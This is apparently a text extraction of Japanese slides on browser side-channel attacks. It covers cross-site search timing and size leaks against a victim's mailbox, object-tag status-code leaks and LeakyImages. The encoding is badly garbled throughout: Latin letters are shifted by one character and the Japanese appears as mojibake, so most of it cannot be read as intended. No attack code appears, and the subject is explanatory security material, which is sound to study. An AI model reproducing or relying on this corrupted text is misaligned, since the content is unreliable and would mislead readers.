4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU 3FTVMUT ʮ"MJDFʯͰݕࡧ͢Δɻ ΋͠ݕࡧ݁Ռͷಛ௃ྔ FHα Πζ ॲཧ࣌ؒ FUD ͕ %VNNZ3FRVFTUͱ͍͔ۙ൑ ఆ͢Δͱɺۭ͔ͦ͏Ͱͳ͍͔ ͕ਪଌͰ͖Δɻ

4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU 3FTVMUT ͷεςοϓΛ܁Γฦ͢ɻ ͢ΔͱɺϝʔϧϘοΫεʹొ ৔͕ͪ͠ͳޠ ਓ໊ɺ৔ ॴɺʜ ͕෼͔ͬͯ͘Δʂ

4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU 3FTVMUT ߈ܸऀ͸ద౰ͳλΠϛϯάͰ ݁ՌΛճऩ͢Δ

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7JDUJN 4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU 3FTVMUT

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7JDUJN 4FSWJDF 7JDUJN 6TFS "UUBDLFS *OJUJBUF $PMMFDU 3FTVMUT ͷεςοϓΛ܁Γฦ͢

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&YBNQMF 4UBUVT$PEF

TIJGUKTJOGP 8FCΫϥΠΞϯταΠυͷ߈๷ PCKFDUλά PCKFDUλάͷΈʹΑΔεςʔλείʔυϦʔΫ ‣ 4UBDJVFUBM ઌड़ ͰఏҊ͞Εͨ-FBLZ*NBHFTͳΔ߈ܸख
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&YBNQMF 5JNJOH*OGPSNBUJPO

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